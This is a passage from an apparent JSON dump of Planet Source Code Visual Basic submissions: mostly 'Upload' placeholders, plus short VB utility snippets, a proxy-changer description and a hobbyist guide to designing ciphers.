Srivastava.</div></html>"},{"WorldId":1,"id":54433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54456,"LineNumber":1,"line":"Are u unhappy with your privacy over net ? Then this thing is for u. Proxy changer can change ur proxy server's address with a click of a button and thus mask ur I.P. address and keep u safe over net. u can also use a fast proxy to increase ur surfing speed or download speed. just give it a try and please do give some votes and feedbacks. Thanks"},{"WorldId":1,"id":54466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54506,"LineNumber":1,"line":"<pre>\nPrivate Sub buttonDown_Click()\n Dim nItem As Integer\n With list1\n If .ListIndex < 0 Then Exit Sub\n nItem = .ListIndex\n If nItem = .ListCount - 1 Then Exit Sub\n .AddItem .Text, nItem + 2\n .RemoveItem nItem\n .Selected(nItem + 1) = True\n End With\nEnd Sub\n'----------------------------------------\nPrivate Sub ButtonUp_Click()\n Dim nItem As Integer\n With list1\n If .ListIndex < 0 Then Exit Sub\n nItem = .ListIndex\n If nItem = 0 Then Exit Sub\n .AddItem .Text, nItem - 1\n .RemoveItem nItem + 1\n .Selected(nItem - 1) = True\n End With\nEnd Sub\n</pre>"},{"WorldId":1,"id":54514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54590,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54688,"LineNumber":1,"line":"Sub Main()\n If App.LogMode = 0 Then\n MsgBox \"Inside IDE\"\n Else\n MsgBox \"Outside IDE\"\n End If\nEnd Sub"},{"WorldId":1,"id":54690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54765,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54795,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54808,"LineNumber":1,"line":"Private Sub Sleep(ByVal MilliSeconds As Long)\n Dim Message As MSG, TimerID As Long\n TimerID = Int(Rnd * 2 ^ 32 - 2 ^ 31)\n TimerID = SetTimer(hWnd, TimerID, MilliSeconds, 0)\n If TimerID = 0 Then Exit Sub\n Do\n DoEvents\n WaitMessage\n If PeekMessage(Message, hWnd, WM_TIMER, WM_TIMER, PM_NOREMOVE) Then\n If Message.wParam = TimerID Then Exit Do\n End If\n Loop\n KillTimer hWnd, TimerID\nEnd Sub"},{"WorldId":1,"id":54816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54819,"LineNumber":1,"line":"<html>\n \n \nGuide for\nbetter encryption.\nI notice that many people are fascinated by cryptology. It's\nan exciting branch of coding, but many put their first steps into\nit without any background. This results in huge mistakes in\nwriting and implementing their new 'unbreakable' algorithm.\nEvery cipher can be broken! the only question is: How long does\nit takes?\nMany programmers proclaiming they have good encryption, and\ni'm sure they believe it. Unfortunately their ciphers are all\nbroken within very short time without any 'brute force attack' or\ncryptanalysing, but with a bit of examining and maths by anyone\nwho sets his mind to it. This goes surprisingly also for many\ncommercial software! I hope by giving some simple basic tips,\nthey realize how easy it is to break weak ciphers and they will\nmake the code a bit securer, so that not every amateur can break\ntheir cipher.\nTip1: Don't thrust yourself \nNEVER thrust your own encryption. Yes, you're smart and you don't\nfind a way to break it, but there are always others, smarter than\nyou (unless you're Stephen Hawkins), who will break it. Thats why\nyou allways need others to check your work. The best way to learn\nwriting ciphers, is by first learning how to break them. How can\nyou tell your encryption is safe, if you don't know how to break\n(read cryptanalyse) it?\nTip 2: The easy way? \nStream ciphers like RC4 are popular because they are easy to\nimplement. Watch out! Streams have some big weak spots. You can\nonly use the key once. If you use it twice, simple cryptanalyse\ncan compromise the key. This very important disadvantage goes for\nall xor ciphers! If you really want to use xor based ciphers, you\nshould always follow tip 3 and tip 10. Don't get blinded by easy\nciphers. A good example is the very simple one-time-pad. Although\ntheoretically unbreakable, it is impossible to implement it in a\npractical way, due to hughe problems it poses on management and\ndistribution of keys. Often good ciphers are useless because they\nare implemented the wrong way. It is not because a cipher is\nunbreakable in theory, that you can also implement it on a\nunbreakable way.\nTip 3: Easy to enhance \nFinished your cipher? Take the next char to encrypt, and xor it\nwith the previous cipher output. On decrypting, just xor the\nresult with the previous decrypted char. This is called chaining.\nThat way, one decryption error is fatal to the rest of the\nmessage and thus makes the cipher much stronger. You can chain\nciphers, output or input. This is a simple tip, easy to apply,\nbut has a great result!\nTip 4: Don't make it easy to the\nbad guys \nNever use your key or password directly to manipulate bits and\nbytes in your plain text, or use the bytes of your key one by\none, and start all over at the end. That way you link your key\ndirectly to the cipher text and the door is wide open to crack\nthe cipher. It's like giving it away for free. About 90 percent\nof all ciphers, found on PSC, are all kinds of variations on\npoly-alphabetic rotation or substitution, and easy to break by\nsimple multiple frequency analysis!\nTip 5: Make it hard to follow \nCreate a cipher where the plain input determins how the algorithm\nworks. A cipher that does the same work all the time is sensitive\nto attacks. Simplified example: if the next plain text is an A,\nthe cipher will for instance xor it with a value, but if the next\nplain is a B, it rotates the bits n times left, and is it a C\nthen rotate 2n times right. On xor ciphers, you could use a mask\nbyte, changed on certain conditions as just described, and xor it\nwith each cipher output. You could have the plain input\nmanipulate the key bits, or swap key bits or bytes, so that the\nkey changes all the time during encryption. How does the cipher\nworks? Who knows, it's changes all the time. \nTip 6: The serious work \nTo create a block cipher the most common way to encrypt data is a\nfeistel network. When you use 64 bit blocks, divide the block in\ntwo 32 bit parts where the right part together with the key are\nthe input of a function, and the output is xored with the left\npart. Next the left part is encrypted with the right and so on.\nEach step is called a round (DES uses 16 rounds). To decrypt, the\nwhole process is reversed form step 16 to 1. You can find plenty\nof documentation on the structure of block ciphers on the net.\nTip 7: The basics \nA good function uses three important steps: \n1. Substitution: the replacing of groups of bits or words by\nothers. \n2. Fractionation: breaking up groups of bytes in smaller parts\nbefore relocating. \n3. Transposition: swap words, bytes or bits from position with\neach other. \nThe combination of these three operations results in diffusion.\nThis diffusion is required for any good encryption scheme (see\nShannon). This can be applied in a whole text, or within blocks,\nfor instance combined with a feistel network. The way these steps\nare executed must depend on a secret key.\nTip 8: Help the users \nDon't make it possible for the user to use weak keys. Write a\nroutine where you refuse key's as 'aaaa', 'mamama' or '123'. Even\ngood ciphers are useless if you use those, or 'top secret' or\n'britney spears' as password. There are many idi*ts that use\nthose keys. Be nice and help them to use only good passwords.\nOf course, they will always be that negligent to use the same key\nmore than once. So take care that the key isn't compromised by\nthis (see straightforward used streams and xor's). If a key is\ncompromised, and they use it also for other important stuff like\nbanking or account login, this could mean that your weak cipher\nis responsible for their problems!\nTip 9: Random and Random \nBig mistake of many beginners: random isn't random when it comes\nout of your computer. Computers are NEVER random, they are to\ndisciplined for that. If you do use a computers rnd function,\nseed it first with randomly chosen values. Better to use your own\nrnd-code. But it's very difficult to write a good one. Writing\ngood randoms, as for use in stream ciphers, is an art. You want\nrandom? Get a bunch of xy values from the moving of your mouse,\nand use these to initialize your own rnd code. that's random\n(unless you have some tic). Never forget that there is a big\ndifference between randomness and crypto secure randomness, so\nget well informed on the quality of Linear Shift Registers and\nother pseudorandom generation schemes before getting into the\nRandom bussiness.\nTip 10: Get a good start \nPut a bunch of randomly chosen bits and bytes before your real\ndata and encrypt them along with them. This is very effective in\na cipher where the algorithm is used in a chaining or feedback\nmode. That way, others cannot retrieve the key settings at the\nbeginning of the actual data, and every encryption, althoug with\nthe same key, is different. Those rnd bytes are simply disgarded\nduring decryption. Even better is that the number of rnd bytes is\nalso a random quantity, by this hiding the position of the actual\nstart of data, so encrypt your rnd header length also. This tip\nis an absolute must on xor ciphers like RC4 if you really want to\nuse them.\nTip 11: Stronger stuff \nCompress your data BEFORE encryption, this will stenghten your\nencryption greatly! Ofcourse, don't use a zip-file, but compress\nit in your code. There are several good compressions in vb.\nCompression will fraction the data already before any encryption\ndeals with it.\nTip 12: The finish? \nThink it's finished? Try to encrypt let's say 100.000 A's with a\nrepetitive key like 'ABC'. Next, take a good look at the\nencrypted data and do some statistics on it. If there are any\nrepetitions or regular patterns, there's a smelly thing about\nyour algorithm. Back to the drawing board! ALWAYS be paranoia\nabout your own cipher, and NEVER thrust others so called\nunbreakable ciphers before you have done a good analysing of\nthem. I know, it's easy to copy and use that encryption scheme\nfrom mister X. Do you want to use and thrust code that does\nunknown things? Finally, copy these tips and save them. Read them\nall over when you finished writing your cipher. \nTip 13: Top Secret? \nA good algorithm should always be published. If you wrote some\nencryption scheme, document it properly, with commonly used\nnotation, so that anyone can understand it. A secrecy system may\nonly depend on the secrecy of the key, NEVER on the secrecy of\nthe algorithm! Any crypto program can be reverse engineerd, so\nsecrecy is useless. A good hint on the quality of the encryption\nis it's description. Watch out for snakeoil with great names like\nchaos theoretics, triangulating arrays, cryptonic sublimation,\ncosmic correlation, bla bla bla: Big crap! If they say it's a\nsecret algorithm, you can be absolutely sure that it's junk or\nhas backdoors.\nTip 14: Think it's too hard? \nNever give up, it's a great and exiting art. look around, read\ncrypto papers, check out FIPS's and RFC's on encryption on the\nnet, visit sites, learn from the big ones. Start by learning how\nthe classic ciphers like Vigenere, Auto-key, Bifid and Trifid,\nADFGVX, and many more work, and how they were broken. These are\nthe origins of modern cryptology and a good learning base. Good\nluck !\nTip 15: Some ideas \nCheck out submissions like 'Cipher Classics' or 'ULTRA file and\ntext encryption', an example that applies many of the tips...and\nno, I won't say that ULTRA is unbreakable...but it's a strong one\n;-)\nTip 16: Some great links \nIntroduction to Codes, Ciphers and breaking them: \nhttp://www.vectorsite.net/ttcode.html \nBasics on classic ciphers and how to break them: \nhttp://www.simonsingh.net/The_Black_Chamber/home.html \nBruce Schneier's site, the crypto and security guru: \nhttp://www.schneier.com/ \nHandbook of Applied Cryptography, pdf downloads<font\ncolor=\"#0000FF\"> \nhttp://www.cacr.math.uwaterloo.ca/hac/ \nA cryptographic compendium: \nhttp://fn2.freenet.edmonton.ab.ca/~jsavard/crypto/intro.htm \nClaude Shannon Theory Of Secrecy, the basics on crypto: \nhttp://www.cs.ucla.edu/~jkong/research/security/shannon1949.pdf \nA crypto dictionary: \nhttp://www.cryptnet.net/fdp/crypto/crypto-dict.html \n \nNever forget: \nA weak encryption\nis more dangerous \nthan being careful without encryption !!!\nHappy codings from Dirk ;-)\nPS: and pleaaaase don't call your ciphers unbreakable any\nmore, even in best cases, call it strong... :-)\n</html>\n"},{"WorldId":1,"id":54821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54843,"LineNumber":1,"line":"I did want to write this mini tutorial cause is more useful when someone includes a few screenshots in the documents. it helps more and gives you an idea if you are doing the right thing. I included a doc file, it contains everything that you may need, also includes a couple of examples. please if you have any problem, let me know, like Ruahine says: go do something nice for someone else. his site is www.ruahine.com Of course dont forget to vote for this article. thanks and kind regards from Mexico City. Final Note Thank so much to stardeveloper, specially to Faisal Kahn for his article. \nhttp://www.stardeveloper.com/articles/display.html?article=2000030901&page=1 "},{"WorldId":1,"id":54855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54856,"LineNumber":1,"line":"Private Declare Sub UrlCreateFromPath Lib \"shlwapi.dll\" Alias \"UrlCreateFromPathA\" (ByVal pszPath As String, ByVal pszUrl As String, ByRef pcchUrl As Long, ByVal dwFlags As Long)\n'create a url from a file path\n'for example \n'input: \"E:/my photo.jpg\"\n'output: \"file:///E:/my%20photo.jpg\"\n'Alexander Triantafyllou alextriantf@yahoo.gr\n'BSc Information Technology & Telecommunications \n'University of Athens , Greece\nconst MAX_PATH=260\nPublic Function url_encode(ByVal str_urlpath As String) As String\n Dim out_str As String\n Dim str_path As String\n \n out_str = String(MAX_PATH, 0)\n \n str_path = str_urlpath + String(100, 0)\n \n UrlCreateFromPath str_path, out_str, MAX_PATH, 0\n out_str = StripTerminator(out_str) \n \n url_encode = out_str\nEnd Function\n'Remove all trailing Chr$(0)'s\nFunction StripTerminator(sInput As String) As String\n Dim ZeroPos As Long\n ZeroPos = InStr(1, sInput, Chr$(0))\n If ZeroPos > 0 Then\n StripTerminator = Left$(sInput, ZeroPos - 1)\n Else\n StripTerminator = sInput\n End If\nEnd Function\n"},{"WorldId":1,"id":54858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54863,"LineNumber":1,"line":"Sub POKE(ByVal Address As Variant, ByVal Value As Variant, Optional ByVal HowMuchBits As Byte = 32)\n Select Case HowMuchBits\n Case 8\n PutMem1 Address, Value\n Case 16\n PutMem2 Address, Value\n Case 32\n PutMem4 Address, Value\n Case 64\n PutMem8 Address, Value\n Case Else\n MsgBox \"Invalid value length\" & vbCr & vbCr & \"Must be one from: 8/16/32/64\" & vbCr & vbCr & vbTab & \"8 - Byte (unsigned)\" & vbCr & vbTab & \"16 - Word/Integer\" & vbCr & vbTab & \"32 - Dword/Long\" & vbCr & vbTab & \"64 - Qword/Currency\"\n End Select\nEnd Sub\nFunction PEEK(ByVal Address As Long, Optional ByVal HowMuchBits As Byte = 32) As Variant\n Dim Value As Variant\n Select Case HowMuchBits\n Case 8\n GetMem1 Address, Value\n Case 16\n GetMem2 Address, Value\n Case 32\n GetMem4 Address, Value\n Case 64\n GetMem8 Address, Value\n Case Else\n MsgBox \"Invalid value length\" & vbCr & vbCr & \"Must be one from: 8/16/32/64\" & vbCr & vbCr & vbTab & \"8 - Byte (unsigned)\" & vbCr & vbTab & \"16 - Word/Integer\" & vbCr & vbTab & \"32 - Dword/Long\" & vbCr & vbTab & \"64 - Qword/Currency\"\n Exit Function\n End Select\n PEEK = Value\nEnd Function\nPrivate Sub Form_Load()\n Dim Var_Byte As Byte, Var_Int As Integer, Var_Lng As Long, Var_Curr As Currency\n \n Var_Byte = 123: Var_Int = 1234: Var_Lng = 123456: Var_Curr = CDec(5234567890#)\n \n Dim strMsg As String\n strMsg = \"Get value of variables by address with PEEK:\" & vbCr\n strMsg = strMsg & \"BYTE: \" & PEEK(VarPtr(Var_Byte), 8) & vbCr\n strMsg = strMsg & \"INTEGER: \" & PEEK(VarPtr(Var_Int), 16) & vbCr\n strMsg = strMsg & \"LONG: \" & PEEK(VarPtr(Var_Lng)) & vbCr\n strMsg = strMsg & \"CURRENCY: \" & PEEK(VarPtr(Var_Curr), 64)\n MsgBox strMsg\n \n POKE VarPtr(Var_Byte), 210, 8\n POKE VarPtr(Var_Int), 4321, 16\n POKE VarPtr(Var_Lng), 654321\n POKE VarPtr(Var_Curr), CDec(9999999999#), 64\n \n strMsg = \"Values of variables was changed with POKE:\" & vbCr\n strMsg = strMsg & \"BYTE: \" & Var_Byte & vbCr\n strMsg = strMsg & \"INTEGER: \" & Var_Int & vbCr\n strMsg = strMsg & \"LONG: \" & Var_Lng & vbCr\n strMsg = strMsg & \"CURRENCY: \" & Var_Curr & vbCr\n MsgBox strMsg\nEnd Sub\n"},{"WorldId":1,"id":54867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54893,"LineNumber":1,"line":"Const G1 As String = \"├╝\"\nConst G2 As String = \"├╜\"\nConst G3 As String = \"├╛\"\n'Label needs to be WEBDINGS font, at a relatively large size.\n'My Timer1.Interval is set to 150\nPrivate Sub Timer1_Timer()\n If Label1 = G1 Then\n Label1 = G2\n ElseIf Label1 = G2 Then\n Label1 = G3\n Else\n Label1 = G1\n End If\nEnd Sub\n"},{"WorldId":1,"id":54894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54995,"LineNumber":1,"line":"\nDeclare the property (<TT>Tools-Add Procedure</TT>) then click <TT>Tools-Procedure Attributes</TT>. Click \"Advanced\" then select \"Don't show in Property Browser\". Click OK then you're done!"},{"WorldId":1,"id":55002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55059,"LineNumber":1,"line":"'To create operating system bootdisk. You need 'blank 1.44 disk. Your hard disks are not 'affected in any way. Always be sure you 'put \"C:\\launix\\launix.exe\" the code is not 'compete yet.\n'------------------------------------\nDownload:\nhttp://www.freewebs.com/sidecheck/download/launixos.zip"},{"WorldId":1,"id":55073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55074,"LineNumber":1,"line":"Public Function SafeUBound(ByVal lpArray As Long, Optional Dimension As Long = 1) As Long\nDim lAddress&, cElements&, lLbound&, cDims%\nIf Dimension < 1 Then\n SafeUBound = -1\n Exit Function\nEnd If\nCopyMemory lAddress, ByVal lpArray, 4\nIf lAddress = 0 Then\n ' The array isn't initilized\n SafeUBound = -1\n Exit Function\nEnd If\n' Calculate the dimensions\nCopyMemory cDims, ByVal lAddress, 2\nDimension = cDims - Dimension + 1\n' Obtain the needed data\nCopyMemory cElements, ByVal (lAddress + 16 + ((Dimension - 1) * 8)), 4\nCopyMemory lLbound, ByVal (lAddress + 20 + ((Dimension - 1) * 8)), 4\nSafeUBound = cElements + lLbound - 1\nEnd Function\nPublic Function SafeLBound(ByVal lpArray As Long, Optional Dimension As Long = 1) As Long\nDim lAddress&, cElements&, lLbound&, cDims%\nIf Dimension < 1 Then\n SafeLBound = -1\n Exit Function\nEnd If\nCopyMemory lAddress, ByVal lpArray, 4\nIf lAddress = 0 Then\n ' The array isn't initilized\n SafeLBound = -1\n Exit Function\nEnd If\n' Calculate the dimensions\nCopyMemory cDims, ByVal lAddress, 2\nDimension = cDims - Dimension + 1\n' Obtain the needed data\nCopyMemory lLbound, ByVal (lAddress + 20 + ((Dimension - 1) * 8)), 4\nSafeLBound = lLbound\nEnd Function\nPublic Function ArrayDims(ByVal lpArray As Long) As Integer\n Dim lAddress As Long\n CopyMemory lAddress, ByVal lpArray, 4\n If lAddress = 0 Then\n ' The array isn't initilized\n ArrayDims = -1\n Exit Function\n End If\n CopyMemory ArrayDims, ByVal lAddress, 2\n \nEnd Function"},{"WorldId":1,"id":55075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44526,"LineNumber":1,"line":"Unfortunately PSC have added character limits and tag limits and a load of cr@p like that probably because of some 1diotic little 13 year olds trying to exploit them. So despite trying to shorten the tutorial and remove all the offending tags, I have been forced to simply ask you to download the word document."},{"WorldId":1,"id":44528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44590,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44596,"LineNumber":1,"line":"\nPublic Function GetTarget(strPath As String) As String\n 'Gets target path from a shortcut file\nOn Error GoTo Error_Loading\n \n Dim wshShell As Object\n Dim wshLink As Object\n \n Set wshShell = CreateObject(\"WScript.Shell\")\n Set wshLink = wshShell.CreateShortcut(strPath)\n GetTarget = wshLink.TargetPath\n \n Set wshLink = Nothing\n Set wshShell = Nothing\n \n Exit Function\n \nError_Loading:\n GetTarget = \"Error occured.\"\nEnd Function"},{"WorldId":1,"id":44616,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Load()\nDim A As Integer\nFor A = 1 to 30\nDebug.Print Environ$(A)\nDoEvents\nNext A\nEnd Sub"},{"WorldId":1,"id":44620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44631,"LineNumber":1,"line":"Option Explicit\nDim fso As New FileSystemObject 'The file system object\nDim ParFolder As Folder 'parent folder variable\nDim n As Long 'for counting\nPublic Filelist() As String 'array to hold the list of files with path\n'---------------------------------------------------------------------------------------\n' Procedure : Public Function FindFile(Optional ByVal sFol As String, Optional ByVal NumberFiles As Long, Optional ByVal fp As vaSpread)\n' DateTime : April 8th 2003, 3:48 PM\n' Author : Anumeet Son\n' Purpose : Gets the List of files and store in array, in a specified folder\n' and all its subfolders(using FileSystemObject)\n' using \"Microsoft Scripting Runtime\"\n' YOU CAN EITHER STORE IT IN THE ARRAY OR USE IT AS REQUIRED FROM HERE\n' ONLY\n'---------------------------------------------------------------------------------------\n'PURPOSE OF NUMBERFILES IS FOR INCLUDING A PROGRESS BAR(OPTIONAL AND FP AND VASPREAD\n'ARE THIRD PARTY CONTROLS(GRID) IN WHICH I AM POPULATING THE FILE\nPublic Function 